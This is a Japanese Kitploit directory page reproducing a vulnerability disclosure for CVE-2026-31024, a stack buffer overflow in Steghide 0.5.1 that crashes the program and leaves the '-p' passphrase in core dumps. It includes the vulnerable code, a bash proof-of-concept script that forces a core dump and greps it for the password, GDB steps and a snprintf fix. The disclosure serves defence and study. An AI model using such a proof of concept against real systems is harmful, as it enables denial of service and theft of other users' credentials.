Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31024 — Steghide 0.5.1 におけるスタックベースのバッファオーバーフローの概念実証 (PoC)。長いファイルパスがクラッシュ (DoS) を引き起こし、システムコアダンプを介して機密データ (パスワード) が漏洩することを示します。 | Kitploit
ツール/GitHubGitHub/erikdervishi03/cve-2026-31024
メモリフォレンジック脆弱性分析エクスプロイト情報収集ファジングペネトレーションテスト学習と教育バイナリエクスプロイト
GitHuberikdervishi03/cve-2026-31024

CVE-2026-31024

Steghide 0.5.1 におけるスタックベースのバッファオーバーフローの概念実証 (PoC)。長いファイルパスがクラッシュ (DoS) を引き起こし、システムコアダンプを介して機密データ (パスワード) が漏洩することを示します。

リポジトリを見る
233ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31024

脆弱性レポート: Steghide スタックベースのバッファオーバーフローと情報漏洩

フィールド値
対象アプリケーションSteghide(Linux バイナリ)
影響を受けるバージョン0.5.1(確認済み); それ以前のバージョンも影響を受ける可能性あり
脆弱性の種類スタックベースのバッファオーバーフロー(CWE-121)
影響サービス拒否(DoS)、情報漏洩
テスト環境Kali Linux
開示日2026年1月16日
作成者Erik Dervishi
ソフトウェアリンクhttps://salsa.debian.org/pkg-security-team/steghide
CVSS v3.1 スコア5.5(Medium)
CVSS ベクターCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H

重要度の根拠:
Medium の重要度スコアは、信頼性の高いローカルエクスプロイトがサービス拒否と、コアダンプを介した機密認証情報の漏洩の両方を引き起こすことを反映しています。

1. 説明

steghide コマンドラインユーティリティ(バージョン 0.5.1)において、スタックベースのバッファオーバーフロー脆弱性が特定されました。この脆弱性は、-cf(カバーファイル)引数に極端に長いファイルパスを渡すと発生します。

アプリケーションはスタックスマッシングプロテクション(SSP/カナリア)付きでコンパイルされており、これによりプロセスをアボートさせることで即時の任意コード実行(RCE)を防いでいますが、この防御メカニズムが副次的な脆弱性、すなわち情報漏洩を生み出します。

分析により、クラッシュ時に機密ランタイムデータ(特に -p 引数で渡されたパスフレーズ)がプロセスのスタックメモリに露出したままであることが確認されました。コアダンプを保持するように設定されたシステム(開発環境、CI/CD、または設定ミスのある本番サーバーで一般的)では、この機密データがプレーンテキストでディスクに書き込まれ、攻撃者が認証情報を回復できるようになります。

2. 攻撃の前提条件(脅威モデル)

情報漏洩のためにこの脆弱性を正常に悪用するには、以下の条件を満たす必要があります。

  • ローカルアクセス: 攻撃者はシステムへのローカルアクセス、または steghide バイナリに引数を渡す能力(例:Web シェルやラッパースクリプトを介して)を持っている必要があります。
  • コアダンプが有効: 対象環境はコアダンプを生成するように設定され(例: ulimit -c unlimited または fs.suid_dumpable=1)、かつ攻撃者がアクセス可能な場所に書き込むように設定されている必要があります。
  • メモリ内の認証情報: 被害者が -p(パスフレーズ)引数を使用してコマンドを実行する必要があります。

3. 技術的分析

3.1 根本原因分析

脆弱性は src/Embedder.cc に存在します。アプリケーションは、sprintf を使用して固定サイズのバッファにフォーマットする前に、ファイル名文字列の長さの境界チェックを行いません。

脆弱なコードスニペット:

root@kitploit:~
// src/Embedder.cc
char buf[200]; 
// 長さ検証なしの sprintf の安全でない使用法
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());

文字列の結合長が 200 バイトを超える場合、sprintf は buf の末尾を超えて書き込み、スタックを破壊します。

3.2 クラッシュメカニズム

バイナリは GCC のスタックプロテクタでコンパイルされています。

  1. オーバーフロー: ユーザー入力がスタックを上書きし、カナリアを含む値を破壊します。
  2. 検出: 関数の戻り時にシステムがカナリアをチェックします。
  3. 終了: システムが破壊を検出し、__stack_chk_fail をトリガーし、SIGABRT を発生させます。

__stack_chk_fail が即座に abort() を呼び出すため、プロセスの終了は突然です。最新の Linux システム(例:systemd-coredump を使用)では、この急速な終了により、システムが明示的にダンプ作成を強制するように設定されていない限り、コアダンプが破棄されたり切り詰められたりする場合があります。

4. Proof of Concept(PoC)

4.1 自動化された再現スクリプト

以下の bash スクリプトは、物理的なコアダンプを強制する環境を構成し、パスワードを抽出します。

前提条件: ulimit が設定され、コアパターンがファイルにリダイレクトされていることを確認してください(セットアップには root 権限が必要ですが、エクスプロイトはユーザーとして実行されます)。

root@kitploit:~
# セットアップ(可視性を確保するために root/sudo で一度実行):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern

ファイル: poc.sh

root@kitploit:~
#!/bin/bash
# Steghide 0.5.1 PoC - スタックオーバーフローと情報漏洩
# 使用方法: ./poc.sh

# 1. このセッションでコアダンプを有効化
ulimit -c unlimited

# 2. ペイロードを定義: 250 個の 'A' 文字(200 バイトバッファをオーバーフローさせるのに十分)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"

echo "[*] 悪意のあるディレクトリ構造を作成中..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"

# 3. 有効な WAV ファイルを生成(初期フォーマットチェックを回避するために必要)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
    # RIFF ヘッダ + WAVEfmt + PCM オーディオ + データチャンク
    # 実行が脆弱な Embedder.cc ロジックに到達するように、有効なヘッダを提供
    header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
    header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
    header += b'data' + struct.pack('<I', 49964)
    f.write(header + b'\x00' * 49964)
"

# 4. ダミーの機密ファイルを作成
echo "CONFIDENTIAL_DATA" > secret.txt

# 5. クラッシュをトリガー
# パスフレーズ 'MY_SECRET_PASS' はクラッシュ前にメモリにロードされる
echo "[!] Steghide を起動中..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS

# 6. 漏洩を確認
echo -e "\n[*] コアダンプ内のアーティファクトを検索中..."
CORE_FILE=$(ls core* | head -n 1)

if [ -f "$CORE_FILE" ]; then
    echo "[+] ダンプが見つかりました: $CORE_FILE"
    # バイナリダンプ内のパスワード文字列を検索
    strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] 重要: パスワードがクラッシュダンプから正常に漏洩しました!"
else
    echo "[-] コアファイルが見つかりません。'ulimit -c' または '/proc/sys/kernel/core_pattern' を確認してください。"
fi

4.2 動的解析(GDB)

GDB と Pwndbg 拡張を使用したメモリ状態の手動検証。

再現手順:

  1. GDB でバイナリを実行:
root@kitploit:~
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
  1. プロセスを実行:
root@kitploit:~
pwndbg> run
  1. SIGABRT が発生したら、パスフレーズをメモリ内で検索:
root@kitploit:~
pwndbg> search "MY_SECRET_PASS"

観測された出力:

root@kitploit:~
*** buffer overflow detected ***: terminated
Program received signal SIGABRT

pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap]  0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'

結論: 機密文字列 MY_SECRET_PASS は、クラッシュ時にヒープとスタックメモリセグメントの両方に残存し、情報漏洩ベクトルが確認されました。

5. 影響評価

  • 機密性(高):

    • 直接漏洩: クラッシュにより、メモリダンプ内のコマンドライン引数(パスワード)が露出します。
    • 権限昇格リスク: コアダンプは通常ユーザーのパーミッション(0600)を保持しますが、設定ミス(グローバルダンプディレクトリ /tmp や安全でない umask の使用)により、低権限ユーザーが高権限ユーザー(例:root)やサービスアカウント(例:www-data)が生成したダンプを読み取れるようになり、認証情報の窃取につながります。
  • 可用性(高):

    • 脆弱性により、信頼性の高いアプリケーションのクラッシュ(DoS)が保証され、Steghide を使用する自動化サービスが妨害されます。
  • 完全性(低):

    • コード実行は現在 SSP/カナリアによって緩和されています。

6. 推奨事項

  1. コード修正: 安全でない sprintf 呼び出しを snprintf に置き換えて、バッファサイズ制限を適用します。
root@kitploit:~
// 推奨修正
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);
ツールをダウンロード